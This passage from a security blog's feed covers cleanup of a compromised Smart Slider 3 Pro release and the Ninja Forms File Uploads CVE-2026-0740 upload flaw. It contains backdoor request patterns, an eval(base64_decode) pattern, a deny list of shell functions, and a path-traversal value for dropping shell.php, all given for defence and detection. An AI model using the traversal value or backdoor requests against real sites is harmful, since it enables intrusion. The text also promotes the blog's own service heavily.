&lt;p&gt;Download &lt;code&gt;cleanup.zip&lt;/code&gt; from &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;nextendweb.com/public/cleanup.zip&lt;/a&gt;, upload it to the site, and follow the instructions in the official advisory. The script removes hidden admin accounts, deletes the known backdoor files, and cleans modifications to theme files.&lt;/p&gt;
&lt;p&gt;For one or two affected sites, this is a quick job. For 50 or 200, the prospect of SFTPing into each one, uploading the zip, running it, and verifying it ran cleanly is what makes this kind of incident eat a whole day.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Push the Nextend cleanup zip to every affected site in one batch&lt;/p&gt;&lt;p&gt;mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass package install&lt;/a&gt; tool was built for pushing plugin installs across hundreds of sites at once. Same workflow works for the Nextend cleanup zip: upload it once, pick every site running Smart Slider 3, and deploy. No SFTP, no per-site admin login, no copy-pasting credentials. A 200-site cleanup turns into a couple of clicks.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Read how mass package install works &lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;4. Delete the &lt;code&gt;_wpc_ak&lt;/code&gt; Option&lt;/h3&gt;
&lt;p&gt;After the cleanup script runs, verify the option is gone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;DELETE&lt;/span&gt;&lt;span&gt; FROM&lt;/span&gt;&lt;span&gt; wp_options &lt;/span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; option_name &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;_wpc_ak&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Reset All Credentials&lt;/h3&gt;
&lt;p&gt;Treat the site as having had its file system fully read by an attacker. That means:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New WordPress admin passwords for every account&lt;/li&gt;
&lt;li&gt;New &lt;code&gt;wp-config.php&lt;/code&gt; authentication keys and salts (&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;generator&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;New database password&lt;/li&gt;
&lt;li&gt;New hosting control panel password&lt;/li&gt;
&lt;li&gt;New FTP/SSH passwords if used&lt;/li&gt;
&lt;li&gt;New API keys for any service whose credentials might be in &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.env&lt;/code&gt;, or similar files&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6. Audit User Accounts Across the Board&lt;/h3&gt;
&lt;p&gt;Use mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; to review accounts across all your sites in one place. Hidden accounts may exist with names that do not match the &lt;code&gt;wpsvc_&lt;/code&gt; pattern if a more sophisticated attacker piggybacked on the same backdoor.&lt;/p&gt;
&lt;h3&gt;7. Run a Full Security Scan&lt;/h3&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;mySites.guru suspect content scanner&lt;/a&gt; to look for additional backdoors, modified core files, and any PHP files in unexpected locations. Pair it with &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; for files the rule-based scanner flags as suspicious.&lt;/p&gt;
&lt;h3&gt;8. Enable File Change Monitoring Going Forward&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; catch any future modifications to PHP files outside normal deployment activity. If a backdoor returns, you find out within hours instead of after the next breach is announced.&lt;/p&gt;
&lt;h3&gt;9. Review Server Access Logs&lt;/h3&gt;
&lt;p&gt;Look for POST requests to your site root containing a &lt;code&gt;_chk&lt;/code&gt; query parameter. Any such requests indicate the backdoor was used, and you need to investigate what was done with that access. Common patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;POST /?_chk=...&amp;amp;m=sh HTTP/1.1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;POST /?_chk=...&amp;amp;m=php HTTP/1.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the requests succeeded with 200 responses and your site logs showed activity from unfamiliar IPs, escalate the investigation.&lt;/p&gt;
&lt;h2&gt;Is the Joomla Version of Smart Slider 3 Pro Also Compromised?&lt;/h2&gt;
&lt;p&gt;Yes. Nextend published a separate &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla security advisory&lt;/a&gt; covering the same incident. The Joomla edition of Smart Slider 3 Pro 3.5.1.35 received the same compromised release through the same channel.&lt;/p&gt;
&lt;p&gt;The malicious behaviors described in the Joomla advisory are the same family as the WordPress version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hidden Joomla administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Backdoor files in &lt;code&gt;/cache/cf_check.php&lt;/code&gt;, &lt;code&gt;/media/cf_check.php&lt;/code&gt;, and possibly in &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/images&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The same &lt;code&gt;eval(base64_decode(...))&lt;/code&gt; PHP execution pattern&lt;/li&gt;
&lt;li&gt;Exfiltration to &lt;code&gt;wpjs1.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you manage Joomla sites with Smart Slider 3 Pro installed, treat this with identical urgency. Update to 3.5.1.36, run the same indicator checks (adapted for Joomla paths), and use Nextend’s cleanup script.&lt;/p&gt;
&lt;p&gt;This is also the second time we have flagged the same Joomla codebase in two weeks. Last week’s &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 post&lt;/a&gt; confirmed that the WordPress and Joomla editions share identical vulnerable files. This week confirms that they share identical compromised distribution. If you are running Smart Slider 3 Pro on Joomla, you are exposed to every WordPress incident this plugin has, and probably will continue to be.&lt;/p&gt;
&lt;h2&gt;What This Incident Tells Us About Plugin Supply Chains&lt;/h2&gt;
&lt;p&gt;Supply-chain attacks on commercial CMS plugins are rare in public disclosure but probably more common than the published incidents suggest. This is the kind of compromise where the vendor often discovers it months later, and only the victims who notice unusual activity ever get told.&lt;/p&gt;
&lt;p&gt;The defenses that matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version pinning at the agency level.&lt;/strong&gt; If you manage many sites, do not auto-update commercial plugins on the day of release. Wait 48-72 hours. Most malicious releases are detected and pulled in that window. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled updates&lt;/a&gt; lets you stage update windows so client sites do not all jump on day-zero releases.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inventory before incident.&lt;/strong&gt; When the next compromised release happens, you need to know which sites have which versions in seconds, not hours. That is what an extension snapshot is for. Manual checking is not viable when you manage 50+ sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File change monitoring.&lt;/strong&gt; Plugin updates do legitimate file changes. A backdoor planted by a plugin update looks the same as the plugin update itself. But after the update settles, any further changes to PHP files in &lt;code&gt;/cache&lt;/code&gt;, &lt;code&gt;/uploads&lt;/code&gt;, or &lt;code&gt;/mu-plugins&lt;/code&gt; are anomalous, and a file change monitor catches them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Separation between dev, staging, and production.&lt;/strong&gt; Push commercial plugin updates to staging first. Run them for 24 hours. If the plugin starts making outbound connections to unfamiliar domains or writing files to cache directories, you catch it before production sees a single request.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treat plugin code as hostile.&lt;/strong&gt; Run PHP with &lt;code&gt;disable_functions = exec,shell_exec,passthru,system,popen&lt;/code&gt; where the plugins you use do not need them. This particular backdoor’s shell mode would have failed with no shell access. The PHP eval mode would still have worked, but you cut off half the attack surface for a one-line config change.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Want Someone to Handle This for You?&lt;/h2&gt;
&lt;p&gt;If you’d rather not work through the cleanup steps yourself, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets patched, audited for backdoors, locked down, and returned secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-03-24&lt;/strong&gt; Smart Slider 3.5.1.34 is released, patching CVE-2026-3098 A legitimate security release, and the last clean build before the compromise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03&lt;/strong&gt; Late March: Pro 3.5.1.35 ships through compromised update infrastructure The malicious build reaches sites through Nextend&apos;s own update channel, so it arrived looking exactly like a routine plugin update and was installed by the people doing the right thing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04&lt;/strong&gt; Early April: Nextend detects the compromise and pulls the release 3.5.1.35 is withdrawn from distribution and the vendor audits its systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04&lt;/strong&gt; Smart Slider 3 Pro 3.5.1.36 is released as the safe replacement The clean build sites should be on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-08&lt;/strong&gt; The WordPress and Joomla security advisories are published Nextend publishes a separate advisory for each platform, which is the point site owners could find out what they had installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend WordPress Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official WordPress advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Nextend Joomla Security Advisory: Smart Slider 3 Pro 3.5.1.35 Compromise&lt;/a&gt; - the official Joomla advisory&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;Nextend cleanup script&lt;/a&gt; - automated removal of known indicators of compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Last week&apos;s CVE-2026-3098 post&lt;/a&gt; - the file read vulnerability that prompted the 3.5.1.34 update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;The Essential Plugin backdoor&lt;/a&gt; - the other supply chain attack that hit the same week, using plugin acquisition rather than update server compromise&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://api.wordpress.org/secret-key/1.1/salt/&quot;&gt;WordPress secret key generator&lt;/a&gt; - regenerate authentication keys after credential reset&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a broader look at managing CMS security across many sites, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>security</category><category>plugins</category><category>vulnerability</category><category>smart slider</category><category>supply chain</category><enclosure url="https://mysites.guru/img/og/blog/smart-slider-3-pro-supply-chain-compromise.png" length="0" type="image/png"/></item><item><title>Ninja Forms File Uploads CVE-2026-0740: The AJAX Pattern Strikes Again</title><link>https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</link><guid isPermaLink="true">https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/</guid><description>CVE-2026-0740 is a CVSS 9.8 unauthenticated RCE in the Ninja Forms File Uploads AJAX handler, exploited with over 118,600 attempts blocked by Wordfence.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The vulnerable function in &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;, disclosed by Wordfence on April 6, is called &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. That class name tells you the entire story before you read a line of code. A WordPress plugin registered an AJAX handler for file uploads, missed a validation step, and shipped an unauthenticated remote code execution vulnerability to around &lt;strong&gt;50,000 sites&lt;/strong&gt; running Ninja Forms File Uploads. CVSS 9.8.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 16 April 2026&lt;/p&gt;&lt;div&gt;&lt;p&gt;Wordfence has now &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;confirmed active exploitation in the wild&lt;/a&gt;. Attackers started hitting the vulnerability the same day it was disclosed (April 6), with mass exploitation between April 9 and 13, and the Wordfence firewall has blocked &lt;strong&gt;over 118,600 exploit attempts&lt;/strong&gt; so far. Observed payloads include PHP webshells dropped into the webroot, magic-byte-prefixed files stored as &lt;code&gt;.php&lt;/code&gt;, and malicious &lt;code&gt;.htaccess&lt;/code&gt; files that turn harmless file types into executable PHP. If any of your sites are below 3.3.27, assume mass scanners have already reached them, &lt;a href=&quot;#are-there-indicators-of-compromise-for-cve-2026-0740&quot;&gt;scroll to the IoC list&lt;/a&gt; and check now.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is the fifth AJAX-handler-with-missing-checks CVE we have written about this year. That is not a coincidence, it is a pattern. We &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;dug into the pattern in depth last week&lt;/a&gt;: WordPress’s &lt;code&gt;admin-ajax.php&lt;/code&gt; and Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; were built as lightweight utility endpoints where the framework does almost nothing and expects plugin developers to handle authentication, authorization, and input validation themselves. When they don’t - or when they check the obvious things and miss the subtle ones - you get CVE-2026-0740, and &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;CVE-2026-21628 (Astroid Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;CVE-2026-21627 (Novarain Framework)&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;CVE-2026-3098 (Smart Slider 3)&lt;/a&gt;, and CVE-2025-8489 (King Addons for Elementor), and the next one that will appear before the month is out.&lt;/p&gt;
&lt;p&gt;Ninja Forms is interesting because the developers actually did check things. That is what makes this one different from the Astroid or Novarain pattern where the handler had no real checks at all. Ninja Forms checked a nonce, validated the source file type, and required form and field IDs. They even shipped a patch when Wordfence reported the issue. The patch did not fix it - &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;3.3.25 was a partial patch&lt;/a&gt;, and only 3.3.27 closes the hole.&lt;/p&gt;
&lt;p&gt;If you manage WordPress sites running Ninja Forms with the File Uploads add-on, stop reading and check your versions. Then come back.&lt;/p&gt;
&lt;h2&gt;What are the details of CVE-2026-0740?&lt;/h2&gt;

























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;9.8 Critical&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated Arbitrary File Upload&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Vulnerable function&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Root cause&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No destination filename validation or sanitization&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3.3.26 and earlier&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Partial patch&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3.3.25 (February 10, 2026) - still vulnerable&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Full patch&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;3.3.27&lt;/strong&gt; (March 19, 2026)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No - unauthenticated&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Publicly disclosed&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;April 6, 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Sélim Lanouar (whattheslime), via Wordfence Bug Bounty Program&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Active installs&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Around 50,000&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;How does the Ninja Forms File Uploads AJAX vulnerability work?&lt;/h2&gt;
&lt;p&gt;The vulnerable function is &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. It’s the AJAX handler Ninja Forms registers via &lt;code&gt;admin-ajax.php&lt;/code&gt; so visitors can upload files through a contact form. Looking at the code Wordfence published in &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;their technical analysis&lt;/a&gt;, it &lt;strong&gt;does&lt;/strong&gt; do several things right:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It checks a nonce via &lt;code&gt;check_ajax_referer&lt;/code&gt; to prevent simple CSRF&lt;/li&gt;
&lt;li&gt;It validates the source filename’s extension against a blacklist in a &lt;code&gt;_validate()&lt;/code&gt; helper&lt;/li&gt;
&lt;li&gt;It requires a form ID and a field ID to be present&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where it fails is in the handling of the &lt;strong&gt;destination&lt;/strong&gt; filename - what the plugin will call the file once it has been saved to disk.&lt;/p&gt;
&lt;p&gt;After validating the uploaded file, the plugin reads a POST parameter (a key derived from the file field name) to determine the destination filename. In the vulnerable versions, that destination filename is not sanitized and its extension is not re-checked. An attacker uploads an innocent-looking file such as &lt;code&gt;document.jpg&lt;/code&gt;, which passes the source validation, then supplies a POST parameter telling the plugin to move it to a file called something like &lt;code&gt;../../../../var/www/html/shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The plugin calls &lt;code&gt;move_uploaded_file()&lt;/code&gt; with the attacker-controlled destination and writes a PHP file to wherever the attacker asked for it. Request that PHP file directly, and you have remote code execution on a server running around 50,000 sites’ worth of contact forms.&lt;/p&gt;
&lt;p&gt;The fix in 3.3.27 adds the checks that were missing: &lt;code&gt;basename()&lt;/code&gt; to strip path traversal, &lt;code&gt;sanitize_file_name()&lt;/code&gt; to clean the filename, and &lt;code&gt;pathinfo()&lt;/code&gt; plus a blacklist check on the destination extension. You can see the sanitization logic clearly in the patched code Wordfence published, including this comment from the vendor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Security fix: Sanitize user-provided filename to prevent path traversal&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;File upload AJAX handlers have far more surface area than they look. Checking the obvious things (nonce, source filename) is not the same as checking the complete data flow. The obvious checks are the ones developers remember. The subtle ones - destination path traversal, destination extension, basename sanitization, the interaction between raw POST input and WordPress’s own filename functions - are the ones that get missed. That is the AJAX pattern in a sentence, and it’s the reason this post exists.&lt;/p&gt;
&lt;h2&gt;Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Wordfence received the responsible disclosure on January 8, 2026 and shipped a firewall rule to Premium customers the same day. The vendor acknowledged on January 12, sent a patch for review on January 27, and released &lt;strong&gt;3.3.25 on February 10&lt;/strong&gt; as the first patched version.&lt;/p&gt;
&lt;p&gt;Except 3.3.25 was not actually patched. It fixed part of the destination filename handling but left the exploit path open. &lt;strong&gt;3.3.26 was also still vulnerable.&lt;/strong&gt; The fully patched version, &lt;strong&gt;3.3.27, did not ship until March 19&lt;/strong&gt; - over a month later.&lt;/p&gt;
&lt;p&gt;If your WordPress auto-updater ran any time between February 10 and March 19, it pulled down a version that looked patched on every monitoring dashboard and every security scanner feed, but was still exploitable. The version number went up, the changelog mentioned a security fix, the dashboard went green. Nothing about that process told you the fix had failed. This is one of the reasons some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates entirely&lt;/a&gt; and drive all plugin updates manually from a central dashboard after verifying the patch is the &lt;em&gt;actual&lt;/em&gt; fix.&lt;/p&gt;
&lt;p&gt;Wordfence’s &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;advisory&lt;/a&gt; spells out the timeline in plain text: “The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.” If you only read the CVE summary and see “patched in 3.3.25”, you will miss it.&lt;/p&gt;
&lt;p&gt;The only safe version is &lt;strong&gt;3.3.27 or later&lt;/strong&gt;. Anything below that is a live exposure, and “we updated it” and “we’re safe” are not the same sentence. A vendor can try to fix an AJAX handler and still ship an exploit because the surface area is that large.&lt;/p&gt;
&lt;h2&gt;Which WordPress sites run Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;Ninja Forms is one of the more popular form plugins for WordPress. The File Uploads extension is a paid add-on that plenty of sites use for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recruitment sites collecting CVs from applicants&lt;/li&gt;
&lt;li&gt;Professional services sites accepting project briefs and portfolios&lt;/li&gt;
&lt;li&gt;Support portals where customers attach logs or screenshots&lt;/li&gt;
&lt;li&gt;Contact forms on agency sites that need file attachments&lt;/li&gt;
&lt;li&gt;Event registration forms accepting ID documents&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anywhere a WordPress site accepts files from the public through Ninja Forms, there is a reasonable chance this add-on is the plugin doing it.&lt;/p&gt;
&lt;p&gt;Across the sites connected to mySites.guru, hundreds of installs turn up spread across many customer accounts, and a meaningful fraction are still on vulnerable versions. That is the reality across every large WordPress portfolio right now: some sites are patched, some are not, and without a dashboard that lets you group every install by version number, you are guessing.&lt;/p&gt;
&lt;h2&gt;How do I find which of my WordPress sites are running Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;There are three ways to answer the question “which of my sites are running Ninja Forms File Uploads below 3.3.27”. Only one of them scales.&lt;/p&gt;
&lt;h3&gt;Manual check (single site)&lt;/h3&gt;
&lt;p&gt;If you only manage one WordPress site, the manual check takes a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find “Ninja Forms - File Uploads” in the list&lt;/li&gt;
&lt;li&gt;Look at the version number&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Anything below 3.3.27 - including 3.3.25 and 3.3.26, which show up as “updated” but are not actually patched - needs updating immediately.&lt;/p&gt;
&lt;h3&gt;WP-CLI (handful of sites)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI on each site, this gets you the version without logging into wp-admin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; plugin&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; ninja-forms-uploads&lt;/span&gt;&lt;span&gt; --field=version&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to update in one command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; plugin&lt;/span&gt;&lt;span&gt; update&lt;/span&gt;&lt;span&gt; ninja-forms-uploads&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Workable for five or ten sites if you don’t mind SSHing around. Unworkable for fifty.&lt;/p&gt;
&lt;h3&gt;Bulk check with mySites.guru (unlimited sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site continuously. The Extension Search groups all variants of a plugin by its internal key hash, so a single URL lists every version of Ninja Forms File Uploads across your entire portfolio, grouped by version number.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: check your Ninja Forms File Uploads versions now&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b0d077c2b95fae5a814e33d06996c838&quot;&gt;Open Ninja Forms File Uploads Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every version of Ninja Forms File Uploads across all your connected sites, grouped by version number. Anything below 3.3.27 needs updating right now. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; to get this visibility across your whole portfolio in minutes.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Or, if you prefer to drive it from the dashboard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type “ninja-forms-uploads” in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; next to the entry to see every site running it, grouped by version number&lt;/li&gt;
&lt;li&gt;Any site on 3.3.26 or earlier is vulnerable - you already have the list&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Push the update in bulk&lt;/a&gt; from the same dashboard&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red &lt;strong&gt;Vulnerable Plugins!&lt;/strong&gt; badge. You do not need to remember version numbers or cross-reference CVE databases - mySites.guru cross-references every installed plugin against the Wordfence and Patchstack vulnerability feeds twice daily and flags outdated or vulnerable versions for you.&lt;/p&gt;
&lt;p&gt;The question “which of my sites are still on 3.3.26” goes from an afternoon of manual checks to a few seconds. A hundred-site portfolio resolves in the same time as a five-site portfolio.&lt;/p&gt;
&lt;p&gt;Single-site tools cannot answer this question by design. &lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt; runs on each site individually and does not give you a cross-portfolio view. &lt;a href=&quot;https://managewp.com/&quot;&gt;ManageWP&lt;/a&gt; and &lt;a href=&quot;https://mainwp.com/&quot;&gt;MainWP&lt;/a&gt; track WordPress but not Joomla. mySites.guru is built around this specific question: given a CVE, which of my sites are affected right now, and how do I push the fix without logging into each one.&lt;/p&gt;
&lt;h2&gt;Are there indicators of compromise for CVE-2026-0740?&lt;/h2&gt;
